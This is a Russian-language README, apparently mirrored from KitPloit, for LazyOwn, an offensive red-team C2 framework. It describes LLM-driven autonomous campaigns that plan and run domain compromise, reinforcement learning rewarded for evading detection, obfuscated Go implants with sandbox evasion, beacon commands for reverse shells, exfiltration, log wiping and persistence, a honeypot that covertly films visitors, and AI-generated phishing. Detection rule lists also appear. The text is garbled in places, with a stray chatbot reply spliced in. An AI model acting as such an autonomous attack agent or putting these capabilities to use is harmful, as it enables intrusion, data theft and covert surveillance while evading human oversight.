### Reinforcement Learning from Models (RLM) — `modules/rl_trainer.py`

Табличное Q-обучение тренирует политику маршрутизации на протяжении сессий взаимодействия:```
State:  (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw|    (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]

Гиперпараметры: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. Epsilon-жадное исследование затухает при каждом обновлении. Q-значения сохраняются в sessions/expert_qvalues.json между сессиями.

SWAN Orchestrator — skills/swan_agent.py

Интеграционный слой верхнего уровня связывает MoE + RL + Detection Oracle + Hive Memory:

  • swan_run: выполнение одним экспертом с RL-управляемой маршрутизацией и Q-обновлением после выполнения
  • swan_ensemble: N экспертов параллельно через ThreadPoolExecutor, синтезируются с помощью WeightedTextAggregator
  • OutcomeEvaluator: награда = 0, когда вероятность обнаружения ≥ 70% (формирование награды с учётом обнаружения)
  • Каждый результат сохраняется в Hive Memory (ChromaDB) для межсессионного обучения

Detection Oracle (Blue Team Mirror) — modules/detection_oracle.py

Предсказывает вероятность обнаружения до выполнения, используя 17 Sigma-lite правил, охватывающих: доступ к учётным данным (LSASS, SAM, DCSync), боковое перемещение (PsExec, WMI, evil-winrm), повышение привилегий (имперсонация токена, именованные каналы), эксплуатацию, разведку, C2 и брутфорс.

Агрегация вероятности: P(detect) = 1 - ∏(1 - P_i) по всем сработавшим правилам.

Purple Team Closed Loop — modules/auto_purple.py

Автоматизированный цикл измерения red-vs-blue, который выполняет наступательные действия, запрашивает LazyOwnBT для обнаружения и передаёт результаты обратно в Detection Oracle для калибровки.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI

root@kitploit:~
**Методы обнаружения:**

| Метод | Что проверяет |
|--------|----------------|
| `ai_test` | Предсказание ML-модели LazyOwnBT |
| `proc_scan` | Подозрительные имена процессов |
| `net_scan` | Необычные соединения/порты |
| `log_analyze` | Аномалии auth/syslog |
| `fim_scan` | Изменения целостности файлов |
| `redteam_hunt` | Паттерны охоты за угрозами |
| `sigma_rules` | 10 правил Sigma (mimikatz, reverse shell, privesc, nmap, webshell, /etc/shadow, cron, SMB, exfil, injection) |

**Движок обнаружения на основе правил Sigma** (LazyOwnBT `lazyownbt/detection.py`):

| ID | Правило | Уровень |
|----|------|-------|
| LAZYOWN-001 | Дамп учётных данных Mimikatz | critical |
| LAZYOWN-002 | Паттерн обратной оболочки | critical |
| LAZYOWN-003 | Повышение привилегий через Sudo | high |
| LAZYOWN-004 | Обнаружено сканирование Nmap | medium |
| LAZYOWN-005 | Выполнение веб-оболочки | critical |
| LAZYOWN-006 | Инъекция в процесс | high |
| LAZYOWN-007 | Доступ к /etc/shadow | critical |
| LAZYOWN-008 | Закрепление через Cron | high |
| LAZYOWN-009 | Боковое перемещение SMB | high |
| LAZYOWN-010 | Эксфильтрация данных | high |

**Выходные файлы:**
- `sessions/purple_dataset.csv` — набор данных для обучения ML
- `sessions/purple_audit.jsonl` — полный журнал аудита
- `sessions/detection_feedback.jsonl` — калибровка оракула

**Примечание:** Для промышленного использования интегрируйтесь с реальной SIEM (Wazuh, Elastic SIEM, Splunk) через пересылку журналов auditd. Встроенные правила Sigma предназначены только для офлайн-тестирования.

### Hive Mind — `skills/hive_mind.py`

Многоагентная архитектура queen+drone с общей памятью:
- **QueenBrain** (Claude): высокоуровневая оркестрация + ConsensusProtocol для действий с высоким риском
- **DronePool** (Groq/Ollama): параллельное выполнение задач разведки/эксплуатации/учётных данных/бокового перемещения/повышения привилегий
- **HiveMemory**: семантическое хранилище ChromaDB + эпизодическое SQLite + долговременное хранилище Parquet
- **EpisodeReflectionEngine**: извлечение уроков после кампании, сохраняемое как `sessions/campaign_lessons.jsonl`

### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`

**Первый C2-фреймворк, который планирует, выполняет и обучается автономно.**

ACI устраняет разрыв между целью взаимодействия на естественном языке и полностью
автономным циклом выполнения. Ни один конкурент (Cobalt Strike, Sliver, Havoc,
Metasploit) не делает этого от начала до конца:```
Operator: "Compromise the domain controller at corp.internal
           starting from a phishing foothold on 10.10.11.5"
         ↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
                 recon → exploit → exec → privesc → cred → lateral → report
         ↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
         ↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
         ↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
         ↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
         ↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
                 feeds back into the next engagement

Три инструмента MCP:

ИнструментЧто он делает
lazyown_aci_planДекомпозиция цели → план ATT&CK → внедрение целей
lazyown_aci_statusРазбивка по текущим фазам, процент завершения, рекомендация по перепланированию
lazyown_aci_replanПринудительное адаптивное перепланирование при застое; автоматическая генерация выводов

Быстрый старт:```python

1. Submit the engagement goal

lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )

2. Start autonomous execution

lazyown_auto_loop(target="10.10.11.5", max_steps=20)

3. Monitor progress

lazyown_aci_status()

4. When blocked (blocked_count >= 3)

lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")

root@kitploit:~
**Что делает ACI уникальным по сравнению с другими инструментами:**

- Cobalt Strike / Sliver / Havoc — это C2-фреймворки, где оператор планирует каждый шаг
- Metasploit имеет автоматизацию, но не имеет интеллекта
- CALDERA эмулирует фиксированные процедуры ATT&CK, но не может адаптироваться к новым средам
- **ACI планирует, выполняет, перепланирует и обучается — непрерывно, в рамках нескольких кампаний**

**Сохранение состояния:**

| Файл | Содержимое |
|------|----------|
| `sessions/aci_plan.json` | Активный план: фазы, цели, состояние выполнения |
| `sessions/aci_history.jsonl` | Архив завершённых/отменённых планов |
| `sessions/campaign_lessons.jsonl` | Уроки, извлечённые ACIReflector |

**Использование CLI (автономно):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect

Автономный демон — skills/autonomous_daemon.py

Четыре роли asyncio в одном процессе — Claude не требуется между шагами:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings

root@kitploit:~
Включение SWAN в демоне: `export AUTO_USE_SWAN=1` перед запуском.

ACI передаёт данные в демон: цели, внедрённые через `lazyown_aci_plan`, автоматически подхватываются Ролью 1 (ObjectiveLoop) — дополнительная настройка не требуется.

### Рассуждения на основе графа — `modules/world_model.py`

NetworkGraph отслеживает все обнаруженные взаимосвязи (хосты, сервисы, учётные данные, пути доверия) и вычисляет нормализованную степень центральности для выявления кандидатов на роль точки опоры. Топ-3 кандидата внедряются в каждый вызов `to_context_string()`, гарантируя, что автономный цикл всегда знает цели горизонтального перемещения с наибольшей ценностью.

## Ограничитель области авторизации

У фреймворка для red team, который читает свою цель из `payload.json`, есть опасная грань: случайный `rhost` запускает наступательные команды по неавторизованному хосту. Ограничитель области — это страховочная сеть. Каждая интерактивная команда проходит через единую точку контроля, которая проверяет активную цель на соответствие вашей авторизованной области взаимодействия перед выполнением команды.```bash
(LazyOwn) > scope add 10.10.11.0/24       # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce            # off | warn (default) | enforce
(LazyOwn) > scope                         # show current scope and posture
  • Отказоустойчивость по принципу fail-open: неактивен, пока область пуста или режим — off, поэтому существующие кампании не затрагиваются, пока вы не включите его. Любая внутренняя ошибка разрешает команду, а не блокирует оператора.
  • warn помечает наступательные команды вне области; enforce блокирует их до явного подтверждения (и отказывает в неинтерактивных сессиях).
  • Ограничиваются только наступательные категории kill-chain; отчётность, конфигурация и локальные вспомогательные средства всегда выполняются. Новые наступательные команды do_* классифицируются автоматически.
  • Хранится в payload.json (scope, scope_enforcement); чистая логика находится в cli/scope_guard.py с нулевой связью с оболочкой.

Воспроизводимые установки

Зависимости объявлены один раз в pyproject.toml (единый источник истины) и зафиксированы для воспроизводимых установок:

  • requirements.txt — кросс-платформенная блокировка ядра (без CUDA-колёс).
  • requirements-ml.txt — опциональный, тяжёлый ML-стек (torch/CUDA, scikit-learn).
  • install.sh работает в строгом режиме и идемпотентен. Установка по умолчанию лёгкая; дополнительные компоненты включаются через --with-ml (ML-стек на 2 ГБ), --with-ollama (локальная среда выполнения LLM) и --with-tools (распространённые внешние бинарники).
  • Разработчикам: pip install -e .[ml,dev].

Ключевые возможности

  1. 741 команда атаки: Полное покрытие kill-chain для Linux, Windows, macOS и BSD — разведка, перечисление, эксплуатация, повышение привилегий, боковое перемещение, доступ к учётным данным, C2, эксфильтрация и отчётность.
  2. Интерактивный CLI на cmd2: Нечёткое автодополнение, настраиваемое приглашение neon-box, палитра команд (Ctrl+K), встроенные реактивные подсказки после каждой команды и панель управления Textual TUI.
  3. Встроенный маркетплейс: yara_marketplace (10 встроенных правил: ransomware, C2, webshells, обфускация, privesc), nuclei_marketplace (500+ шаблонов), marketplace для плагинов/дополнений сообщества — всё доступно для просмотра через curses TUI.
  4. auto_pwn и hunt: Автономное связывание эксплуатаций и разведка на основе угроз — auto_pwn автоматически проходит фазы kill-chain, hunt выполняет целевой поиск на основе известных TTP.
  5. Унифицированный движок подсказок после команд: Умные предложения (подсказки kill-chain, protips, любопытство, автоподсказки) с рейтингом ELO, значками (First Blood, Arsenal Master, Kill Chain Master) и наградами VRI — геймифицированный опыт оператора.
  6. Автоматическая криптография сессий: auto_crypto шифрует конфиденциальные файлы сессий при выходе и расшифровывает при запуске (PBKDF2HMAC + Fernet), прозрачно для оператора.
  7. AI-нативная архитектура: Маршрутизатор MoE (Mixture of Experts), RL-обучение, оркестратор SWAN, мультиагентная система Hive Mind, планировщик ACI (Autonomous Campaign Intelligence) — первый C2, который планирует, выполняет и обучается автономно.
  8. Многоэтапные обфусцированные Go-импланты: Двухэтапная доставка маяка с XOR-кодированием через C-заглушки, C2-каналы с шифрованием AES-256, обход VM/песочниц/отладчиков, полиморфизм и стейджеры на основе LOLBAS. Протестировано на ядре 6.12 и Windows 10.0.20348.
  9. Linux BOF (Beacon Object Files): Первый open-source C2-фреймворк с поддержкой BOF для Linux через среду выполнения ELF dlopen. Совместимый на уровне исходного кода API datap с контрактом Windows BOF. Прямые системные вызовы и поддержка io_uring.
  10. Ловушка-приманка для Blue Team: Flask-сайт-приманка записывает видео/аудио и захватывает изображения неавторизованных посетителей (операторов blue team, исследующих C2), сохраняемые в sessions/captured_images.
  11. Поверхность атаки Bloodhound: Загрузка ZIP-данных Bloodhound для отображения интерактивных графов поверхности атаки с фильтрацией и поиском, дополненных данными обнаружения lazynmap.
  12. Фишинговый движок на базе AI: Шаблоны электронных писем, генерируемые Groq/DeepSeek AI, с динамической генерацией URL, трекинговыми пикселями, сокращением URL и созданием тестовых конечных точек.

  1. Приманка: если IP-адрес не совпадает с 127.0.0.1 или lhost, Flask покажет сайт-приманку; этот сайт-приманка запишет видео со звуком и сделает снимки нарушителя (sessions/captured_images), как небольшая версия storm breaker, чтобы узнать, кто является оператором blueteam

image

  1. Симуляция противника: Продвинутые возможности для генерации сессий операций red team, обеспечивающие тщательное и эффективное моделирование.

adversay emulator

  1. Планирование задач: Используйте команду cron для планирования и автоматизации задач, обеспечивая постоянные симуляции угроз.
  2. Результаты в реальном времени: Получайте немедленную обратную связь и результаты оценок безопасности, обеспечивая своевременные и точные выводы.
  3. Возможности RAT и ботнета: Включает функции удалённого доступа и управления, позволяя управлять ботнетами и постоянными угрозами.
  4. C2-фреймворк с поддержкой IA: Действует как фреймворк командования и управления (C2), обеспечивая скрытую связь и контроль над скомпрометированными системами, а также множество IA-ботов для улучшения вашего opsec. Разработан на Flask, обеспечивая удобный интерфейс для бесшовного взаимодействия. Теперь с возможностями сетевого обнаружения, позволяющими видеть поверхность атаки на карте клиентов чётко и интуитивно с фильтрами и панелью поиска. Новые функции появятся скоро. image

vulnbot

  • Создатель C2 LazyAddon: Пошаговые страницы /addons в панели управления C2 для создания интеграций lazyaddons/*.yaml без ручного редактирования YAML. Одна форма предоставляет все параметры дополнения (имя, описание, автор, версия, включено, целевая ОС, сервисы-триггеры, категория, тип модуля, тип установки, параметры, блок инструмента, дополнения C2, переменные окружения) с подсказками, заполнителями и справкой по каждому полю. Чипы-заполнители ({rhost}, {url}, объявленные параметры и каждый ключ payload.json) перетаскиваются в поля команд. Серверная валидация отклоняет небезопасные имена, обход путей, неизвестные заполнители и некорректные URL до записи файла; записи атомарны и безопасны (временный файл создаётся с ограничительными правами через mkstemp + fchmod, сбрасывается и синхронизируется, затем продвигается через os.replace). Страницы списка и предпросмотра YAML завершают жизненный цикл. Каждый маршрут изменения защищён CSRF. Контракт: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py, покрыт tests/test_addon_creator.py и мутационным шлюзом tests/run_mutation_addon_creator.py.
  1. Необнаружимые, обфусцированные и гибкие GO-импланты: Команда с полезной нагрузкой по умолчанию обфусцирована. Вместо прямой загрузки маяка она загружает заглушку, созданную на C, для загрузки маяка, который XOR-кодирован с ключом. Затем он декодируется в памяти и выполняется во временном пути с уникальным именем для обхода обнаружения, используя svchost в Windows и lazyservice в Linux. Это выполняет двухэтапный имплант, протестированный на ядре 6.12 и Windows [Version 10.0.20348.3807]. Кроме того, добавлена альтернативная Windows-заглушка с использованием LOLBAS PS1 и Csharp, а также версия ebird3 в LOLBAS, использующая те же технологии. Go-маяк — это мультиплатформенный, необнаружимый и высокообфусцированный имплант, созданный для продвинутых операций red team. Он обладает полиморфизмом, работает в настраиваемом стелс-режиме и защищает связь каналами с шифрованием AES-256. Маяк сливается с окружением, имитируя легитимный сетевой трафик, и обходит обнаружение, идентифицируя виртуальные машины, песочницы, контейнеры и отладчики, динамически адаптируя своё поведение. Обладая минимальным следом, он поддерживает надёжное сетевое обнаружение через перечисление хостов на основе ping и сканирование портов настроенных целей. Имплант превосходно эксфильтрирует конфиденциальные данные, включая приватные ключи, учётные данные AWS, учётные данные браузеров и системные журналы. Он предлагает динамическое TCP-проксирование для перенаправления трафика, попытки повышения привилегий и очистку системных журналов. Постоянство достигается на Windows, Linux и macOS через запланированные задачи, systemd, crontab и LaunchAgents. Дополнительные возможности включают эмуляцию противника (MITRE ATT&CK), обфускацию временных меток файлов и сжатие каталогов для эксфильтрации. Созданный с Go vet для здоровья кода, имплант бесшовно интегрируется с Dockerized-средами и AWS Firecracker microVM, что делает его краеугольным камнем современной инфраструктуры red team. Созданный с Go vet для целостности кода, имплант использует Cloudflare для обфускации трафика, маршрутизируя связь через безопасные высокопроизводительные редиректоры для сокрытия инфраструктуры C2. Go-бинарник усилен обфускацией Garble, препятствуя обратной разработке и обнаружению по сигнатурам. В Windows имплант использует маскировку расширений, чтобы выдавать себя за безобидные файлы (например, .pdfx), и встраивает пользовательские иконки через rsrc для убедительной социальной инженерии.

image

Доступные команды маяка:

  • stealth_off перестать быть скрытным, Отключает стелс-режим, позволяя нормальные операции.
  • stealth_on войти в режим ниндзя, Включает стелс-режим, минимизируя активность для избежания обнаружения.
  • download: download:[filename] Загружает файл с C2 на скомпрометированный хост.
  • upload: [filename]: Загружает файл со скомпрометированного хоста на C2.
  • rev: Устанавливает обратную оболочку к C2, используя настроенный порт.
  • exfil: Эксфильтрирует конфиденциальные данные (например, SSH-ключи, учётные данные AWS, истории команд).
  • download_exec: download_exec:[url]: Загружает и выполняет бинарник по URL (только Linux, хранится в /dev/shm).
  • obfuscate: [filename]: Обфусцирует временные метки файлов, чтобы затруднить криминалистический анализ.
  • cleanlogs: Очищает системные журналы (например, /var/log/syslog в Linux, журналы событий в Windows).
  • discover: Выполняет сетевое обнаружение, идентифицируя живые хосты через ping.
  • adversary:[id_atomic]: Выполняет тест эмуляции противника (MITRE ATT&CK), используя загруженные скрипты фреймворка atomic redteam.
  • softenum: Перечисляет полезное программное обеспечение на хосте (например, docker, nc, python).
  • netconfig: Захватывает и эксфильтрирует сетевую конфигурацию (например, ipconfig в Windows, ifconfig в Linux).
  • escalatelin: Пытается повысить привилегии в Linux (например, через sudo -n или SUID-бинарники).
  • proxy:[listenip]:[listenport]:[targetip]:[targetport] Запускает TCP-прокси, перенаправляющий трафик с listenAddr на targetAddr.
  • stop_proxy:[listenaddr] Останавливает TCP-прокси по указанному адресу.
  • portscan: Сканирует порты на обнаруженных хостах и настроенном rhost.
  • compressdir:[directory]: Сжимает каталог в файл .tar.gz и эксфильтрирует его.
  • sandbox: Получить информацию о системе — является ли она песочницей или нет.
  • isvm: Получить информацию о системе — является ли она виртуальной машиной или нет.
  • debug: Получить информацию о системе — отлаживается ли цель или нет.
  • persist: Попытаться закрепиться в целевой системе.

Основные изменения v0.2.161

Унифицированный kill-chain (единый источник истины)

  • modules/killchain.py вычисляет фазу; каждая поверхность (CLI /killchain, /api/killchain, C2 /api/data+/api/dashboard, панель GUI2) отображает свой snapshot().
  • История команд маяка для каждого импланта: /api/beacon_results/<client_id>, на основе modules/beacon_history.py (JSONL, безопасный для путей).
  • CLI /killchain auto on|off|N с живым автообновлением; флаги killchain_auto_every / killchain_auto_on_phase_change.
  • C2 расшифровывает состояние сессии при загрузке и повторно шифрует при чистом выходе, поэтому маяки и kill-chain отражают реальные значения, пока сервер работает.

Маркетплейс (YARA + Nuclei)

Просматривайте, ищите и устанавливайте из унифицированного TUI маркетплейса:

  • yara_marketplace list|search|install|info -- 10 встроенных правил (ransomware, C2, webshells, обфускация, privesc)
  • nuclei_marketplace list|search|install|info -- 500+ шаблонов из ~/nuclei-templates
  • marketplace list|search|install|update -- 137 YAML-дополнений, 57 плагинов, 69 инструментов

auto_pwn и hunt

  • auto_pwn -- автономный проход kill-chain от разведки до эксплуатации
  • hunt -- разведка на основе угроз: сопоставляет известные TTP с обнаруженными сервисами

Реактивный интеллект

  • Движок подсказок после команд: подсказки kill-chain, protips, награды за любопытство
  • Рейтинг ELO, значки (First Blood, Arsenal Master, Kill Chain Master)
  • Встроенные реактивные подсказки: предложения «следующей команды» после каждого действия

Auto Crypto

Прозрачное шифрование сессий при выходе / расшифровка при запуске через PBKDF2HMAC + Fernet.

Новые плейбуки

7 профилей APT: Azure Graph API, CICD Poisoning, Entra Connect, macOS TCC, OAuth Token Theft, SCCM/MECM, VDI Breakout.

Интерактивный режим цепочки

chainmode on запускает поток связывания на основе мировой модели: после каждой команды оболочка предлагает ранжированные следующие шаги (Enter = лучшее предложение, 1..N = ранжированная альтернатива, любая команда = переопределение, skip = вручную, ESC/Ctrl+C/off = выход). Неверные выборы запрашивают повторно вместо молчаливого пропуска, и поток автоматически приостанавливается после max_steps связанных команд. Состояние сохраняется в sessions/chain_mode.json (атомарные записи). Контракт: cli/chain_mode.py + cli/command_chain.py.

Доработка функций (UX + усиление безопасности)

  • Встроенные подсказки с подтверждением: каждое предложение несёт глагол, уверенность ([0, 99], никогда не бесчестные 100%), причину и происхождение. Контракт: cli/reactive_hints.py + cli/recommendation_signals.py.
  • Унифицированный движок подсказок, полностью отображаемый через rich (без сырых ANSI-escape); текст подсказок реестра никогда не может нарушить отображение разметки. Контракт: cli/tips_engine.py.
  • cli/noise_verbs.py — единый источник истины для списков недейственных глаголов, общих для подсказок, советов и режима цепочки.
  • API-ключи, привязанные к тенанту: core/api_authz.py теперь реализует документированное окно отсрочки ротации, копирует разрешения из ротированного ключа (регрессия исправлена), возвращает JSON 401/403 (безопасно с TRAP_HTTP_EXCEPTIONS), и конечная точка C2 /api/health/tenant действительно принудительно применяется. Мутационный шлюз: tests/run_mutation_api_authz.py (7/7 убито).
  • core/logging.py install_json_handler сохраняет уже существующие обработчики и идемпотентен.
  • Структурированная синхронизация ELO учитывает перенаправленные пути пользовательского хранилища, и тесты не зависят от входа на хост.

Усиление безопасности (SDD+TDD+BDD)

Централизованные примитивы безопасности в core/hardening.py с 48 BDD-тестами (tests/test_security_hardening_v3.py). Запуск с помощью:```bash pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py

root@kitploit:~
**Ключевые исправления:**
- `shell=True` устранён из `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py` (22 случая)
- `os.system()` устранён из `persist_migrated.py`, `cloud.py`, `lazyown.py` (4 случая), `misc_migrated.py`
- `os.popen()` устранён из `websocket_beacon.py`, `evasive_payload.py`
- `sshpass -p` заменён на `sshpass -e` + переменную окружения в 4 файлах (C2, lateral, exfil, persist)
- Жёстко заданный ключ шифрования удалён из `phishing_orchestrator.py` (ENCRYPTION_KEY обязателен)
- XSS в баннере C2 исправлен с помощью `html.escape()`
- Инъекция команд через rhost в буфере обмена исправлена с помощью `safe_clipboard_copy()`
- cmd2 `CMD_ATTR_HELP_CATEGORY` переименован в `COMMAND_ATTR_HELP_CATEGORY` (совместимость с cmd2 4.2.2)

---

## Возможности команд

LazyOwn предоставляет 741 команду на 13 фазах kill-chain, доступных как из CLI, так и из веб-панели C2:

| Фаза | Ключевые команды |
|-------|-------------------|
| Recon | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| Enum | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| Exploit | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| Post-Exploit | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| Persistence | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| PrivEsc | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| Cred Access | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| Lateral | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| Exfil | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| Reporting | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| AI/Agents | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| Marketplace | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |

Основное управление: `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.

См. [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) для полного справочника из 606 команд и [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) для 18 команд, покрывающих 80% задач.

# Расширение LazyOwnShell с помощью плагинов Lua

В этом документе объясняется, как использовать скриптинг на Lua для расширения функциональности приложения `LazyOwnShell`, построенного на основе фреймворка `cmd2` на Python. Lua позволяет писать собственные плагины, которые могут добавлять новые команды, изменять существующее поведение или получать доступ к данным приложения.

![image](https://assets.kitploit.com/production/public/readmes/56369/c299c50e76da30a39158e7121eb350b9c906048783727107fb9ca556c5317878/f2fa2be6395535c04e8fe7e5630c65d7112913560e76ea2c6a6e0144be148795-display-v1.webp)

---

## Содержание

1. [Введение](#introduction)
2. [Настройка плагинов Lua](#setting-up-lua-plugins)
3. [Написание плагинов Lua](#writing-lua-plugins)
4. [Регистрация новых команд](#registering-new-commands)
5. [Доступ к данным приложения](#accessing-application-data)
6. [Обработка ошибок](#error-handling)
7. [Примеры плагинов](#example-plugins)
8. [Лучшие практики](#best-practices)

---

## 1. Введение

Приложение `LazyOwnShell` поддерживает скриптинг на Lua, что позволяет пользователям расширять его функциональность без изменения основного кода на Python. Скрипты Lua (плагины) хранятся в каталоге `plugins/` и автоматически загружаются при запуске приложения.

Плагины Lua могут:
- Добавлять новые команды в оболочку.
- Изменять существующие команды или поведение.
- Получать доступ к данным приложения, предоставляемым Python, и управлять ими.

---

## 2. Настройка плагинов Lua

Чтобы использовать плагины Lua, убедитесь в следующем:

1. Установите библиотеку `lupa` в вашей среде Python:   ```bash
   pip install lupa
root@kitploit:~
plugins/
     init_plugins.lua
     hello.lua
     goodbye.lua

При запуске приложение выполняет init_plugins.lua, который загружает все остальные файлы .lua в каталоге plugins/.

  1. Написание плагинов на Lua Плагин на Lua — это файл скрипта с расширением .lua, размещённый в каталоге plugins/. Каждый плагин может определять функции и регистрировать их как команды в оболочке.

Структура плагина на Lua ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end

root@kitploit:~
-- Register the function as a command
register_command("my_command", my_command)
root@kitploit:~
Ключевые функции
- register_command(command_name, lua_function):
- Регистрирует новую команду в оболочке.
- command_name: Имя команды (например, hello).
- lua_function: Функция Lua, выполняемая при вызове команды.

3. Регистрация новых команд

 Чтобы добавить новую команду в оболочку, выполните следующие шаги:

- Определите функцию Lua, реализующую логику команды.
- Используйте register_command, чтобы зарегистрировать функцию как команду.
- Пример: Добавление команды hello
- Создайте файл plugins/hello.lua со следующим содержимым:   ```lua
 function hello(arg)
     local name = arg or "world"
     print("Hello, " .. name .. "!")
 end

 register_command("hello", hello)

Теперь вы можете запустить команду hello в оболочке: bash hello Lua Hello, Lua! 4. Лучшие практики

  • Держите плагины модульными: каждый плагин должен фокусироваться на одной функции или возможности.
  • Документируйте свои плагины: предоставляйте чёткую документацию для каждого плагина, включая примеры использования.
  • Тщательно тестируйте: тестируйте свои плагины изолированно, прежде чем интегрировать их в основное приложение.
  • Обрабатывайте ошибки корректно: используйте pcall для обработки ошибок в плагинах Lua и предотвращения сбоев.

Используя скрипты Lua, вы можете расширить функциональность LazyOwnShell без изменения основного кода на Python. Это обеспечивает большую гибкость и настраиваемость, позволяя пользователям писать собственные плагины для удовлетворения конкретных потребностей. Удачного кодинга!

Система LazyAddons YAML

Расширение возможностей LazyOwn RedTeam Framework ещё никогда не было таким простым, даже для непрограммистов, благодаря системе LazyAddons, которая позволяет расширять функциональность с помощью файлов YAML.

Декларативное создание команд через конфигурационные файлы YAML.

Структура файлов

lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml

🛠️ Определение аддона

Минимальный пример```yaml

name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"

tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"

root@kitploit:~
Расширенная конфигурация```yaml
params:
  - name: "url"
    required: true
    description: "Target URL"
    default: "http://localhost"

  - name: "threads"
    required: false
    default: 4

Возможности Автоматическая установка Инструменты клонируются из Git при отсутствии:```bash git clone <repo_url> <install_path>

root@kitploit:~
Подстановка параметров
Заменяет {param} в командах значениями из:

- Аргументов команды

- Значений по умолчанию

- self.params

- Интеграция со справкой

help <command> отображает описание YAML.

Шаблон```yaml
name: ""
enabled: true
description: ""

tool:
  name: ""
  repo_url: ""
  install_path: ""
  install_command: ""  # Optional
  execute_command: ""

params:
  - name: ""
    required: true/false
    default: ""
    description: ""

▶️ Использование Поместите YAML-файлы в lazyaddons/

Запустите ваше CLI-приложение

Выполните зарегистрированные команды:```bash (Cmd) help your_command (Cmd) your_command -args

root@kitploit:~
🚨 Устранение неполадок
Отсутствующие параметры: проверьте обязательные поля в YAML

Ошибки установки: проверьте доступ к сети/git

Ошибки команд: проверьте синтаксис execute_command


Ключевые особенности:
- Чистый markdown в стиле GitHub
- Сфокусирован только на YAML-аддонах
- Включает готовые к использованию шаблоны
- Документирует систему подстановки параметров
- Предоставляет советы по устранению неполадок

Хотите, чтобы я добавил какие-либо конкретные примеры или сценарии использования?

![LazyOwnGris3](https://assets.kitploit.com/production/public/readmes/56369/e33455dad0ebc6b7279e64d6befcf165ce82ef5d21df552c9c6207e517842ac6/f44814861f7107d595f4c1c2f543f527ae55c37bbd3146414a6050250ef1c7e4-display-v1.webp)


LazyOwn на Reddit

Революционизируйте свой пентестинг с LazyOwn: автоматизируйте вторжение на Linux, MAC OSX и Windows ЖЕРТВАХ

<https://www.reddit.com/r/LazyOwn/>


<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>

Откройте для себя LazyOwn — идеальное решение для автоматизации рабочего процесса пентестинга при атаках на системы Linux, MacOSX и Windows. Наш мощный инструмент упрощает пентестинг, делая его более эффективным и результативным. Посмотрите это видео, чтобы узнать, как LazyOwn может оптимизировать ваши оценки безопасности и улучшить ваш арсенал кибербезопасности.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...

LazyOwn идеально подходит для специалистов по кибербезопасности, ищущих централизованное и автоматизированное решение для своих задач пентестинга, экономя время и повышая эффективность выявления и эксплуатации уязвимостей.

Captura de pantalla 2024-05-22 021136

Требования

  • Python 3.x

  • Модули Python:

    • requests
    • python-libnmap
    • pwncat-cs
    • pwn
    • groq
    • PyPDF2
    • docx
    • python-docx
    • olefile
    • exifread
    • pycryptodome
    • impacket
    • pandas
    • colorama
    • tabulate
    • pyarrow
    • keyboard
